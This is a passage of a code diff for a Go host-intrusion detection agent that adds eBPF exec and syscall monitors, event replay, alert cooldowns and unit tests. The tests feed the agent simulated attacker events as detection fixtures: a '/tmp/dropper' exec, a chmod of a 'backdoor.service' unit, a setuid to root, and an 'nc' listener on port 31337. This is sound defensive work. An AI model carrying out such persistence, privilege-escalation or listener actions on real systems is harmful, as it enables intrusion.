rule := events.FindRule(catalog, *rulesShow)
if rule == nil {
return fmt.Errorf("no such rule sid: %d", *rulesShow)
}
payload = rule
}
encoder := json.NewEncoder(os.Stdout)
encoder.SetEscapeHTML(false)
return encoder.Encode(payload)
}
if *correlateFile != "" {
raw, err := os.ReadFile(*correlateFile)
if err != nil {
return err
}
var incidents []correlation.Incident
if err := json.Unmarshal(raw, &incidents); err != nil {
return fmt.Errorf("correlation incidents: %w", err)
}
results := make([][]correlation.Record, 0, len(incidents))
for _, incident := range incidents {
results = append(results, correlation.Correlate(incident, nil))
}
encoder := json.NewEncoder(os.Stdout)
encoder.SetEscapeHTML(false)
return encoder.Encode(results)
}
if *execEvents != "" {
return replayExecEvents(cfg, *execEvents, *host, *timestamp, os.Stdout)
}
if *syscallEvents != "" {
return replaySyscallEvents(*syscallEvents, *host, *timestamp, os.Stdout)
}
if *hostEvents != "" {
return replayHostEvents(*hostEvents, *host, *timestamp, os.Stdout)
}
if *eventStream != "" {
return replayEventStream(cfg, *eventStream, *host, *timestamp, os.Stdout)
}
capture := func() (model.State, error) { return system.Capture(*procRoot) }
if *fixture != "" {
capture = func() (model.State, error) {
@ -54,6 +173,18 @@ func run() error {
}
runner := agent.New(cfg, capture)
runner.SetExecProbeStatus("off (not requested)")
runner.SetSyscallProbeStatus("off (not requested)")
if *fixture == "" && *stateDir != "" {
// Stateful mode is explicit so an opt-in validation sidecar
// cannot overwrite the production Python agent's baseline files merely
// by being run for a smoke test.
cfg.LogDir = *stateDir
runner.Config = cfg
runner.Lifecycle = baseline.New(cfg, func() []string {
return system.ScanSUIDBinaries(*suidRoot, cfg.SUIDScanExtraDirs)
})
}
if *host != "" {
runner.Host = func() (string, error) { return *host, nil }
}
@ -64,12 +195,370 @@ func run() error {
}
runner.Now = func() time.Time { return fixed }
}
if err := runner.Initialize(); err != nil {
return err
}
var execSource *ebpfsource.ExecSource
var execEngine events.ExecRuleEngine
if *ebpfExec {
execEngine, err = events.LoadExecRuleEngine(cfg.ExecRulesFile)
if err != nil {
return err
}
execSource, err = ebpfsource.OpenExecSource()
if err != nil {
runner.SetExecProbeStatus("disabled (" + probeFailureStatus(err) + ")")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor disabled:", err)
} else {
runner.SetExecProbeStatus("enabled")
defer execSource.Close()
}
}
var syscallSource *ebpfsource.SyscallSource
if *ebpfSyscall {
syscallSource, err = ebpfsource.OpenSyscallSource(*procRoot)
if err != nil {
runner.SetSyscallProbeStatus("disabled (" + probeFailureStatus(err) + ")")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor disabled:", err)
} else {
runner.SetSyscallProbeStatus("enabled")
defer syscallSource.Close()
}
}
var retainedEvents *eventlog.Writer
if *eventLogPath != "" {
retainedEvents, err = eventlog.New(*eventLogPath, *eventLogMaxBytes)
if err != nil {
return err
}
}
var snapshotStore *snapshot.Store
if *snapshotDir != "" {
snapshotStore, err = snapshot.New(
*snapshotDir, *procRoot, cfg.MaxSnapshots, cfg.MaxSnapshotAgeDays,
)
if err != nil {
return err
}
}
notifier := sdnotify.FromEnvironment()
if err := notifier.Notify("READY=1\nSTATUS=initialization complete; poll loop ready"); err != nil {
return fmt.Errorf("systemd readiness notification: %w", err)
}
defer notifier.Notify("STOPPING=1\nSTATUS=stopping") //nolint:errcheck -- process exit is already committed
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
defer stop()
encoder := json.NewEncoder(os.Stdout)
encoder.SetEscapeHTML(false)
return runner.Run(ctx, *once, func(event map[string]any) error {
return encoder.Encode(event)
var encoderMu sync.Mutex
emit := func(event map[string]any) error {
encoderMu.Lock()
defer encoderMu.Unlock()
if snapshotStore != nil && event["event_type"] == "alert" {
if _, err := snapshotStore.CaptureEvent(event); err != nil {
return err
}
}
if snapshotStore != nil && event["event_type"] == "status" {
if status, ok := event["status"].(schema.Status); ok {
stats, err := snapshotStore.SnapshotStats()
if err != nil {
return err
}
status.TotalAlerts = stats.Total
status.Counts = stats.Counts
status.LastAlert = stats.LastAlert
event["status"] = status
}
}
if retainedEvents != nil {
if err := retainedEvents.Append(event); err != nil {
return err
}
}
if err := encoder.Encode(event); err != nil {
return err
}
if *stateDir != "" && event["event_type"] == "status" {
if err := health.WriteHeartbeat(*stateDir, time.Now()); err != nil {
return err
}
}
return nil
}
if execSource != nil && !*once {
go monitorExecSource(ctx, execSource, execEngine, runner, emit)
}
if syscallSource != nil && !*once {
go monitorSyscallSource(
ctx, syscallSource, events.DefaultSyscallRuleEngine(),
events.DefaultHostRuleEngine(), runner, emit,
)
}
return runner.Run(ctx, *once, emit)
}
func monitorExecSource(
ctx context.Context,
source execEventReader,
engine events.ExecRuleEngine,
runner *agent.Agent,
emit agent.EmitFunc,
) {
for {
execEvent, err := source.Read()
if err != nil {
var lost ebpfsource.LostSamplesError
if errors.As(err, &lost) {
fmt.Fprintln(os.Stderr, "enodia-sentinel-go:", lost.Error())
continue
}
if ctx.Err() == nil {
runner.SetExecProbeStatus("disabled (reader failure)")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err)
}
return
}
records, err := runner.AlertEvents(engine.Match(execEvent))
if err != nil {
runner.SetExecProbeStatus("disabled (event encoding failure)")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err)
return
}
for _, record := range records {
if err := emit(record); err != nil {
runner.SetExecProbeStatus("disabled (output failure)")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err)
return
}
}
}
}
func monitorSyscallSource(
ctx context.Context,
source syscallEventReader,
syscallEngine events.SyscallRuleEngine,
hostEngine events.HostRuleEngine,
runner *agent.Agent,
emit agent.EmitFunc,
) {
for {
securityEvent, err := source.Read()
if err != nil {
var lost ebpfsource.SyscallLostSamplesError
if errors.As(err, &lost) {
fmt.Fprintln(os.Stderr, "enodia-sentinel-go:", lost.Error())
continue
}
if ctx.Err() == nil {
runner.SetSyscallProbeStatus("disabled (reader failure)")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err)
}
return
}
var alerts []model.Alert
if securityEvent.Syscall != nil {
alerts = syscallEngine.Match(*securityEvent.Syscall)
} else if securityEvent.Host != nil {
alerts = hostEngine.Match(*securityEvent.Host)
}
records, err := runner.AlertEvents(alerts)
if err != nil {
runner.SetSyscallProbeStatus("disabled (event encoding failure)")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err)
return
}
for _, record := range records {
if err := emit(record); err != nil {
runner.SetSyscallProbeStatus("disabled (output failure)")
fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err)
return
}
}
}
}
type execEventReader interface {
Read() (events.ExecEvent, error)
}
type syscallEventReader interface {
Read() (ebpfsource.SecurityEvent, error)
}
func probeFailureStatus(err error) string {
if errors.Is(err, syscall.EPERM) || errors.Is(err, syscall.EACCES) {
return "permission denied"
}
line, _, _ := strings.Cut(err.Error(), "\n")
const limit = 160
characters := []rune(line)
if len(characters) > limit {
line = string(characters[:limit-1]) + "…"
}
return line
}
func replayExecEvents(cfg config.Config, path, host, timestamp string, output *os.File) error {
raw, err := os.ReadFile(path)
if err != nil {
return err
}
var replay []events.ExecEvent
if err := json.Unmarshal(raw, &replay); err != nil {
return fmt.Errorf("exec events: %w", err)
}
engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile)
if err != nil {
return err
}
if host == "" {
host, err = os.Hostname()
if err != nil {
return err
}
}
if timestamp == "" {
timestamp = time.Now().Local().Format(time.RFC3339Nano)
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
return fmt.Errorf("timestamp: %w", err)
}
encoder := json.NewEncoder(output)
encoder.SetEscapeHTML(false)
for _, execEvent := range replay {
for _, alert := range engine.Match(execEvent) {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
return err
}
if err := encoder.Encode(record); err != nil {
return err
}
}
}
return nil
}
func replaySyscallEvents(path, host, timestamp string, output *os.File) error {
raw, err := os.ReadFile(path)
if err != nil {
return err
}
var replay []events.SyscallEvent
if err := json.Unmarshal(raw, &replay); err != nil {
return fmt.Errorf("syscall events: %w", err)
}
if host == "" {
host, err = os.Hostname()
if err != nil {
return err
}
}
if timestamp == "" {
timestamp = time.Now().Local().Format(time.RFC3339Nano)
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
return fmt.Errorf("timestamp: %w", err)
}
engine := events.DefaultSyscallRuleEngine()
encoder := json.NewEncoder(output)
encoder.SetEscapeHTML(false)
for _, syscallEvent := range replay {
for _, alert := range engine.Match(syscallEvent) {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
return err
}
if err := encoder.Encode(record); err != nil {
return err
}
}
}
return nil
}
func replayHostEvents(path, host, timestamp string, output *os.File) error {
raw, err := os.ReadFile(path)
if err != nil {
return err
}
var replay []events.HostEvent
if err := json.Unmarshal(raw, &replay); err != nil {
return fmt.Errorf("host events: %w", err)
}
if host == "" {
host, err = os.Hostname()
if err != nil {
return err
}
}
if timestamp == "" {
timestamp = time.Now().Local().Format(time.RFC3339Nano)
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
return fmt.Errorf("timestamp: %w", err)
}
engine := events.DefaultHostRuleEngine()
encoder := json.NewEncoder(output)
encoder.SetEscapeHTML(false)
for _, hostEvent := range replay {
for _, alert := range engine.Match(hostEvent) {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
return err
}
if err := encoder.Encode(record); err != nil {
return err
}
}
}
return nil
}
func replayEventStream(cfg config.Config, path, host, timestamp string, output *os.File) error {
engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile)
if err != nil {
return err
}
var input *os.File
if path == "-" {
input = os.Stdin
} else {
input, err = os.Open(path)
if err != nil {
return err
}
defer input.Close()
}
if host == "" {
host, err = os.Hostname()
if err != nil {
return err
}
}
if timestamp == "" {
timestamp = time.Now().Local().Format(time.RFC3339Nano)
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
return fmt.Errorf("timestamp: %w", err)
}
rules := events.NewRuleSet(engine)
encoder := json.NewEncoder(output)
encoder.SetEscapeHTML(false)
return events.ScanJSONL(input, func(raw []byte) error {
alerts, err := rules.MatchJSON(raw)
if err != nil {
return err
}
for _, alert := range alerts {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
return err
}
if err := encoder.Encode(record); err != nil {
return err
}
}
return nil
})
}

View file

@ -0,0 +1,162 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package main
import (
"context"
"fmt"
"io"
"strings"
"syscall"
"testing"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/agent"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/ebpfsource"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
type oneExecReader struct {
event events.ExecEvent
cancel context.CancelFunc
read bool
}
func (r *oneExecReader) Read() (events.ExecEvent, error) {
if !r.read {
r.read = true
return r.event, nil
}
r.cancel()
return events.ExecEvent{}, io.EOF
}
type oneSyscallReader struct {
event ebpfsource.SecurityEvent
cancel context.CancelFunc
read bool
}
func (r *oneSyscallReader) Read() (ebpfsource.SecurityEvent, error) {
if !r.read {
r.read = true
return r.event, nil
}
r.cancel()
return ebpfsource.SecurityEvent{}, io.EOF
}
func TestMonitorExecSourceUsesSharedAlertPipeline(t *testing.T) {
runner := monitorTestAgent()
ctx, cancel := context.WithCancel(context.Background())
reader := &oneExecReader{
event: events.ExecEvent{PID: 42, PPID: 7, UID: 1000, ParentComm: "bash", Filename: "/tmp/dropper"},
cancel: cancel,
}
var records []map[string]any
monitorExecSource(ctx, reader, events.DefaultExecRuleEngine(), runner, func(record map[string]any) error {
records = append(records, record)
return nil
})
if len(records) != 1 || records[0]["event_type"] != "alert" {
t.Fatalf("unexpected records: %#v", records)
}
alert := records[0]["alert"].(model.Alert)
if alert.SID != 100001 || alert.Key != "exec:100001:42" {
t.Fatalf("unexpected alert: %#v", alert)
}
}
func TestMonitorSyscallSourceUsesSharedAlertPipeline(t *testing.T) {
runner := monitorTestAgent()
ctx, cancel := context.WithCancel(context.Background())
reader := &oneSyscallReader{
event: ebpfsource.SecurityEvent{Syscall: &events.SyscallEvent{
PID: 42, PPID: 7, UID: 1000, Comm: "dropper", Syscall: "mprotect",
Args: [6]uint64{0x1000, 0x2000, 0x6},
}},
cancel: cancel,
}
var records []map[string]any
monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error {
records = append(records, record)
return nil
})
if len(records) != 1 || records[0]["event_type"] != "alert" {
t.Fatalf("unexpected records: %#v", records)
}
alert := records[0]["alert"].(model.Alert)
if alert.SID != 100060 || alert.Key != "syscall:100060:42:mprotect:1000:6" {
t.Fatalf("unexpected alert: %#v", alert)
}
}
func TestMonitorSyscallSourceRoutesTypedHostEvent(t *testing.T) {
runner := monitorTestAgent()
ctx, cancel := context.WithCancel(context.Background())
reader := &oneSyscallReader{
event: ebpfsource.SecurityEvent{Host: &events.HostEvent{
Event: "setuid", PID: 42, PPID: 7, UID: 1000, Comm: "python3",
TargetUID: 0, TargetGID: -1,
}},
cancel: cancel,
}
var records []map[string]any
monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error {
records = append(records, record)
return nil
})
if len(records) != 1 {
t.Fatalf("unexpected records: %#v", records)
}
alert := records[0]["alert"].(model.Alert)
if alert.SID != 100071 || alert.Signature != "host_rule.privilege-transition" {
t.Fatalf("unexpected alert: %#v", alert)
}
}
func TestMonitorSyscallSourceRoutesPermissionChange(t *testing.T) {
runner := monitorTestAgent()
ctx, cancel := context.WithCancel(context.Background())
reader := &oneSyscallReader{
event: ebpfsource.SecurityEvent{Host: &events.HostEvent{
Event: "chmod", PID: 42, PPID: 7, UID: 1000, Comm: "installer",
Path: "/etc/systemd/system/backdoor.service", Mode: 0o755,
TargetUID: -1, TargetGID: -1,
}},
cancel: cancel,
}
var records []map[string]any
monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error {
records = append(records, record)
return nil
})
if len(records) != 1 {
t.Fatalf("unexpected records: %#v", records)
}
alert := records[0]["alert"].(model.Alert)
if alert.SID != 100070 || alert.Signature != "host_rule.persistence-permission-change" {
t.Fatalf("unexpected alert: %#v", alert)
}
}
func monitorTestAgent() *agent.Agent {
runner := agent.New(config.Default(), nil)
runner.Host = func() (string, error) { return "host-a", nil }
runner.Now = func() time.Time {
return time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
}
return runner
}
func TestProbeFailureStatusIsConcise(t *testing.T) {
if got := probeFailureStatus(fmt.Errorf("load: %w", syscall.EPERM)); got != "permission denied" {
t.Fatalf("permission status=%q", got)
}
got := probeFailureStatus(fmt.Errorf("%s\nverifier detail", strings.Repeat("x", 200)))
if len([]rune(got)) != 160 || !strings.HasSuffix(got, "…") {
t.Fatalf("unexpected truncated status: %q", got)
}
}

View file

@ -1,3 +1,8 @@
module codeberg.org/anassaeneroi/enodia-sentinal/go-agent
go 1.23
go 1.25.0
require (
github.com/cilium/ebpf v0.22.0
golang.org/x/sys v0.43.0
)

26
go-agent/go.sum Normal file
View file

@ -0,0 +1,26 @@
github.com/cilium/ebpf v0.22.0 h1:v2ktp0roffpMOj2MMf3idtCQZOsAoC4BJbAJN+ke2bY=
github.com/cilium/ebpf v0.22.0/go.mod h1:CDzZbe2hC5JjlDC+CY3KFCzlYwN4gbxppYM+Z10bQt4=
github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6 h1:teYtXy9B7y5lHTp8V9KPxpYRAVA7dozigQcMiBust1s=
github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6/go.mod h1:p4lGIVX+8Wa6ZPNDvqcxq36XpUDLh42FLetFU7odllI=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/josharian/native v1.1.0 h1:uuaP0hAbW7Y4l0ZRQ6C9zfb7Mg1mbFKry/xzDAfmtLA=
github.com/josharian/native v1.1.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/jsimonetti/rtnetlink/v2 v2.0.1 h1:xda7qaHDSVOsADNouv7ukSuicKZO7GgVUCXxpaIEIlM=
github.com/jsimonetti/rtnetlink/v2 v2.0.1/go.mod h1:7MoNYNbb3UaDHtF8udiJo/RH6VsTKP1pqKLUTVCvToE=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/mdlayher/netlink v1.7.2 h1:/UtM3ofJap7Vl4QWCPDGXY8d3GIY2UGSDbK+QWmY8/g=
github.com/mdlayher/netlink v1.7.2/go.mod h1:xraEF7uJbxLhc5fpHL4cPe221LI2bdttWlU+ZGLfQSw=
github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos=
github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ=
github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc=
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=

View file

@ -2,15 +2,17 @@
// Package agent owns the parallel Go sweep loop. It emits JSON-compatible
// records but does not write Python daemon state or replace the production
// service during Phase 1.
// service during migration.
package agent
import (
"context"
"fmt"
"os"
"sync"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/detectors"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
@ -25,36 +27,60 @@ type CaptureFunc func() (model.State, error)
// EmitFunc receives one enodia.event.v1-compatible record.
type EmitFunc func(map[string]any) error
// Agent is the Phase 1 sidecar sweep loop.
// Agent is the migration sidecar sweep loop.
type Agent struct {
Config config.Config
Capture CaptureFunc
Host func() (string, error)
Now func() time.Time
// Lifecycle is nil for deterministic fixtures. Live sidecars attach a
// baseline manager so startup grace and durable first-seen state match the
// Python oracle without contaminating parity inputs.
Lifecycle *baseline.Manager
cooldownMu sync.Mutex
cooldowns map[string]time.Time
probeMu sync.RWMutex
ebpf string
ebpfExec string
ebpfSyscall string
initializeMu sync.Mutex
initialized bool
initializeErr error
}
// New builds an agent with production clock and hostname providers.
func New(cfg config.Config, capture CaptureFunc) *Agent {
return &Agent{
Config: cfg,
Capture: capture,
Host: os.Hostname,
Now: time.Now,
Config: cfg,
Capture: capture,
Host: os.Hostname,
Now: time.Now,
ebpf: "unknown",
ebpfExec: "unknown",
ebpfSyscall: "unknown",
}
}
// Sweep captures state once and returns alert events followed by one status
// event. Retained snapshot fields remain empty until persistence is ported.
// event. The executable replaces the zero-value retention fields after its
// optional snapshot sink has durably processed the preceding alert records.
func (a *Agent) Sweep() ([]map[string]any, error) {
state, err := a.Capture()
if err != nil {
return nil, err
}
now := a.Now()
if a.Lifecycle != nil {
if err := a.Lifecycle.Prepare(&state, now); err != nil {
return nil, err
}
}
host, err := a.Host()
if err != nil {
return nil, err
}
timestamp := a.Now().Local().Format(time.RFC3339Nano)
timestamp := now.Local().Format(time.RFC3339Nano)
alerts := make([]model.Alert, 0)
// Preserve the relative order of Python detectors.REGISTRY. Snapshot and
@ -84,14 +110,32 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
if a.Config.Enabled("egress") {
alerts = append(alerts, detectors.Egress(state, a.Config)...)
}
events := make([]map[string]any, 0, len(alerts)+1)
for _, alert := range alerts {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
// Python's registry uses listener_baseline as one shared arming gate for
// all four baseline-diff detectors, including first_seen and persistence.
if state.ListenerBaseline != nil {
if a.Config.Enabled("first_seen") {
alerts = append(alerts, detectors.FirstSeen(state, a.Config)...)
}
if a.Config.Enabled("new_listener") {
alerts = append(alerts, detectors.NewListener(state, a.Config)...)
}
if a.Config.Enabled("persistence") {
alerts = append(alerts, detectors.Persistence(state, a.Config)...)
}
if a.Config.Enabled("new_suid") {
alerts = append(alerts, detectors.NewSUID(state, a.Config)...)
}
}
if a.Lifecycle != nil {
if err := a.Lifecycle.Commit(state, now); err != nil {
return nil, err
}
events = append(events, record)
}
events, err := a.alertEvents(alerts, now, host, timestamp)
if err != nil {
return nil, err
}
ebpfStatus, ebpfExecStatus, ebpfSyscallStatus := a.probeStatus()
status := schema.Status{
Schema: schema.StatusV1,
Version: Version,
@ -99,9 +143,9 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
TotalAlerts: 0,
Counts: map[string]int{},
LastAlert: nil,
EBPF: "unknown",
EBPFExec: "unknown",
EBPFSyscall: "unknown",
EBPF: ebpfStatus,
EBPFExec: ebpfExecStatus,
EBPFSyscall: ebpfSyscallStatus,
Host: host,
}
record, err := schema.Build("status", status, host, timestamp)
@ -111,12 +155,108 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
return append(events, record), nil
}
// SetExecProbeStatus updates both the compatibility eBPF field and the
// specific exec-probe field. It is safe to call from a source goroutine after
// an asynchronous reader failure.
func (a *Agent) SetExecProbeStatus(status string) {
a.probeMu.Lock()
defer a.probeMu.Unlock()
a.ebpf = status
a.ebpfExec = status
}
// SetSyscallProbeStatus updates the syscall-specific probe field. The legacy
// eBPF field continues to mirror exec status, matching the Python contract.
func (a *Agent) SetSyscallProbeStatus(status string) {
a.probeMu.Lock()
defer a.probeMu.Unlock()
a.ebpfSyscall = status
}
func (a *Agent) probeStatus() (string, string, string) {
a.probeMu.RLock()
defer a.probeMu.RUnlock()
return a.ebpf, a.ebpfExec, a.ebpfSyscall
}
// AlertEvents applies the shared cooldown gate and wraps asynchronous detector
// results in the same schema used by sweep alerts. Live kernel sources call
// this method instead of maintaining a second emission path.
func (a *Agent) AlertEvents(alerts []model.Alert) ([]map[string]any, error) {
now := a.Now()
host, err := a.Host()
if err != nil {
return nil, err
}
return a.alertEvents(alerts, now, host, now.Local().Format(time.RFC3339Nano))
}
func (a *Agent) alertEvents(alerts []model.Alert, now time.Time, host, timestamp string) ([]map[string]any, error) {
alerts = a.freshAlerts(alerts, now)
records := make([]map[string]any, 0, len(alerts))
for _, alert := range alerts {
record, err := schema.Build("alert", alert, host, timestamp)
if err != nil {
return nil, err
}
records = append(records, record)
}
return records, nil
}
// Initialize establishes live baselines before asynchronous event sources are
// started. It is idempotent so an executable can enforce startup ordering and
// Run can still safely own initialization for library callers.
func (a *Agent) Initialize() error {
a.initializeMu.Lock()
defer a.initializeMu.Unlock()
if a.initialized {
return a.initializeErr
}
a.initialized = true
if a.Lifecycle != nil {
if a.Capture == nil {
a.initializeErr = fmt.Errorf("capture function is required for baseline initialization")
return a.initializeErr
}
// Use the same injectable clock for lifecycle gates and event timestamps;
// otherwise fixed-clock tests could arm against wall time by accident.
a.Lifecycle.Now = a.Now
a.initializeErr = a.Lifecycle.Initialize(baseline.CaptureFunc(a.Capture))
}
return a.initializeErr
}
// freshAlerts mirrors Python's per-key cooldown gate. The mutex matters once
// live event sources join polling: asynchronous kernel alerts and sweep alerts
// must consume the same cooldown slots instead of racing into duplicates.
func (a *Agent) freshAlerts(alerts []model.Alert, now time.Time) []model.Alert {
a.cooldownMu.Lock()
defer a.cooldownMu.Unlock()
if a.cooldowns == nil {
a.cooldowns = make(map[string]time.Time)
}
fresh := make([]model.Alert, 0, len(alerts))
for _, alert := range alerts {
previous, seen := a.cooldowns[alert.Key]
if seen && now.Sub(previous) < a.Config.Cooldown {
continue
}
a.cooldowns[alert.Key] = now
fresh = append(fresh, alert)
}
return fresh
}
// Run emits one sweep immediately and then waits for each configured interval.
// once is used by parity checks and operator-visible smoke tests.
func (a *Agent) Run(ctx context.Context, once bool, emit EmitFunc) error {
if a.Capture == nil || emit == nil {
return fmt.Errorf("capture and emit functions are required")
}
if err := a.Initialize(); err != nil {
return err
}
for {
events, err := a.Sweep()
if err != nil {

View file

@ -7,8 +7,10 @@ import (
"testing"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/schema"
)
func intPointer(value int) *int { return &value }
@ -40,6 +42,66 @@ func TestRunOnceEmitsAlertAndStatusEnvelopes(t *testing.T) {
}
}
func TestRunAttachesLiveBaselineLifecycle(t *testing.T) {
cfg := config.Default()
cfg.LogDir = t.TempDir()
cfg.BaselineGrace = 0
calls := 0
capture := func() (model.State, error) {
calls++
port := "0.0.0.0:22"
comm := "sshd"
if calls > 1 {
port = "0.0.0.0:31337"
comm = "nc"
}
pid := 42
return model.State{Sockets: []model.Socket{{
State: "LISTEN", Local: port, Comm: comm, PID: &pid, Kind: "tcp",
}}}, nil
}
runner := New(cfg, capture)
runner.Lifecycle = baseline.New(cfg, func() []string { return []string{} })
runner.Host = func() (string, error) { return "host-a", nil }
runner.Now = func() time.Time {
return time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
}
var events []map[string]any
if err := runner.Run(context.Background(), true, func(event map[string]any) error {
events = append(events, event)
return nil
}); err != nil {
t.Fatal(err)
}
if calls != 2 || len(events) != 2 {
t.Fatalf("unexpected lifecycle result: calls=%d events=%#v", calls, events)
}
alert := events[0]["alert"].(model.Alert)
if alert.Signature != "new_listener" || alert.Key != "lis:31337/nc" {
t.Fatalf("unexpected alert: %#v", alert)
}
}
func TestInitializeIsIdempotent(t *testing.T) {
cfg := config.Default()
cfg.LogDir = t.TempDir()
calls := 0
runner := New(cfg, func() (model.State, error) {
calls++
return model.State{}, nil
})
runner.Lifecycle = baseline.New(cfg, func() []string { return nil })
if err := runner.Initialize(); err != nil {
t.Fatal(err)
}
if err := runner.Initialize(); err != nil {
t.Fatal(err)
}
if calls != 1 {
t.Fatalf("initial capture count=%d, want 1", calls)
}
}
func TestDisabledDetectorEmitsStatusOnly(t *testing.T) {
cfg := config.Default()
cfg.Detectors = map[string]bool{}
@ -55,6 +117,68 @@ func TestDisabledDetectorEmitsStatusOnly(t *testing.T) {
}
}
func TestSweepAppliesPerKeyCooldown(t *testing.T) {
cfg := config.Default()
cfg.Cooldown = 60 * time.Second
runner := New(cfg, func() (model.State, error) {
return model.State{Processes: []model.Process{{
PID: 42, Comm: "dropper", Exe: "/tmp/dropper (deleted)",
}}}, nil
})
now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
runner.Now = func() time.Time { return now }
first, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
now = now.Add(30 * time.Second)
second, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
now = now.Add(31 * time.Second)
third, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
if len(first) != 2 || len(second) != 1 || len(third) != 2 {
t.Fatalf("cooldown output mismatch: %d %d %d", len(first), len(second), len(third))
}
}
func TestAsyncAlertsShareCooldownAndStatusReportsProbeState(t *testing.T) {
cfg := config.Default()
cfg.Cooldown = time.Minute
runner := New(cfg, func() (model.State, error) { return model.State{}, nil })
runner.Host = func() (string, error) { return "host-a", nil }
now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
runner.Now = func() time.Time { return now }
runner.SetExecProbeStatus("enabled")
runner.SetSyscallProbeStatus("disabled (test)")
alert := model.Alert{SID: 100001, Key: "exec:100001:42"}
first, err := runner.AlertEvents([]model.Alert{alert})
if err != nil {
t.Fatal(err)
}
now = now.Add(30 * time.Second)
second, err := runner.AlertEvents([]model.Alert{alert})
if err != nil {
t.Fatal(err)
}
sweep, err := runner.Sweep()
if err != nil {
t.Fatal(err)
}
